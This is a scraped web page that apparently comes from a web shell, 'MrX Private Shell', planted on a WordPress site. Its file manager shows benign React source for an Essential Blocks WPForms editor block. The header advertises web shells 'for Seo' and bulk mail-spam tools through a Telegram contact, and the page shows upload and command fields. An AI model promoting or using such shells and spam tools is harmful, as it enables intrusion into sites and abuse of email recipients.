__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import { __ } from "@wordpress/i18n";
import { memo } from "@wordpress/element";
import { Placeholder, SelectControl } from "@wordpress/components";
import ServerSideRender from "@wordpress/server-side-render";

/**
 * Internal Import
 */
import Inspector from "./inspector";
import { ReactComponent as Icon } from "./icon.svg";

import {
    BlockProps,
    NoticeComponent,
    withBlockContext
} from "@essential-blocks/controls";

import {
    FORM_LISTS,
} from "./constants";
import Style from "./style";
import defaultAttributes from './attributes';

function Edit(props) {
    const { attributes, setAttributes, className, clientId, isSelected, name } = props;

    const {
        blockId,
        blockMeta,
        // responsive control attribute ⬇
        resOption,
        formId,
        customCheckboxStyle,
        formAlignment,
        showLabels,
        showPlaceholder,
        showErrorMessage,
        classHook,
        cover
    } = attributes;

    // you must declare this variable
    const enhancedProps = {
        ...props,
        blockPrefix: 'eb-wpforms',
        style: <Style {...props} />
    };

    const is_wpforms_active =
        EssentialBlocksLocalize?.get_plugins["wpforms-lite/wpforms.php"]?.active ||
        EssentialBlocksLocalize?.get_plugins["wpforms/wpforms.php"]?.active;

    let wrapperClasses = ["eb-wpforms-wrapper"];
    // custom checkbox/radio button styles class
    if (customCheckboxStyle) {
        wrapperClasses.push("eb-wpforms-custom-radio-checkbox");
    }

    const alignment = {
        left: "eb-wpforms-alignment-left",
        center: "eb-wpforms-alignment-center",
        right: "eb-wpforms-alignment-right",
    };

    if (formAlignment in alignment) {
        wrapperClasses.push(alignment[formAlignment]);
    }

    if (!showLabels) {
        wrapperClasses.push("eb-wpforms-hide-labels");
    }

    if (!showPlaceholder) {
        wrapperClasses.push("eb-wpforms-hide-placeholder");
    }

    if (!showErrorMessage) {
        wrapperClasses.push("eb-wpforms-hide-errormessage");
    }

    return cover.length ? (
        <div>
            <img src={cover} alt="wpforms" style={{ maxWidth: "100%" }} />
        </div>
    ) : (
        <>
            {isSelected && (
                <Inspector
                    key="inspector"
                    attributes={attributes}
                    setAttributes={setAttributes}
                />
            )}
            <BlockProps.Edit {...enhancedProps}>
                <div className={`eb-parent-wrapper eb-parent-${blockId} ${classHook}`}>
                    <div className={`${blockId} ${wrapperClasses.join(" ")}`}>
                        {!is_wpforms_active && (
                            <NoticeComponent
                                Icon={Icon}
                                title={"WPForms"}
                                description={
                                    <>
                                        <strong>WPForms</strong> is not installed/activated on your
                                        site. Please install and activate{" "}
                                        <a
                                            href={
                                                EssentialBlocksLocalize.eb_admin_url +
                                                `plugin-install.php?s=wpforms&tab=search&type=term`
                                            }
                                            target="_blank"
                                        >
                                            WPForms
                                        </a>{" "}
                                        first.
                                    </>
                                }
                            />
                        )}
                        {is_wpforms_active && !formId && (
                            <Placeholder
                                className={"eb-wpforms-choose-placeholder"}
                                label={__("WPForms", "essential-blocks")}
                            >
                                <SelectControl
                                    value={formId}
                                    options={FORM_LISTS}
                                    onChange={(newFormId) => setAttributes({ formId: newFormId })}
                                />
                            </Placeholder>
                        )}
                        {is_wpforms_active && formId && (
                            <ServerSideRender
                                className="eb-wpforms-rendered"
                                block="wpforms/form-selector"
                                attributes={{ formId: formId }}
                            />
                        )}
                    </div>
                </div>
            </BlockProps.Edit>
        </>
    );
}
export default memo(withBlockContext(defaultAttributes)(Edit))

Filemanager

Name Type Size Permission Actions
constants Folder 0750
attributes.js File 5.9 KB 0640
edit.js File 4.86 KB 0640
example.js File 45 B 0640
icon.svg File 3.19 KB 0640
index.js File 919 B 0640
inspector.js File 40.77 KB 0640
style.css File 1.05 KB 0640
style.js File 27.91 KB 0640
style.scss File 1.11 KB 0640
Filemanager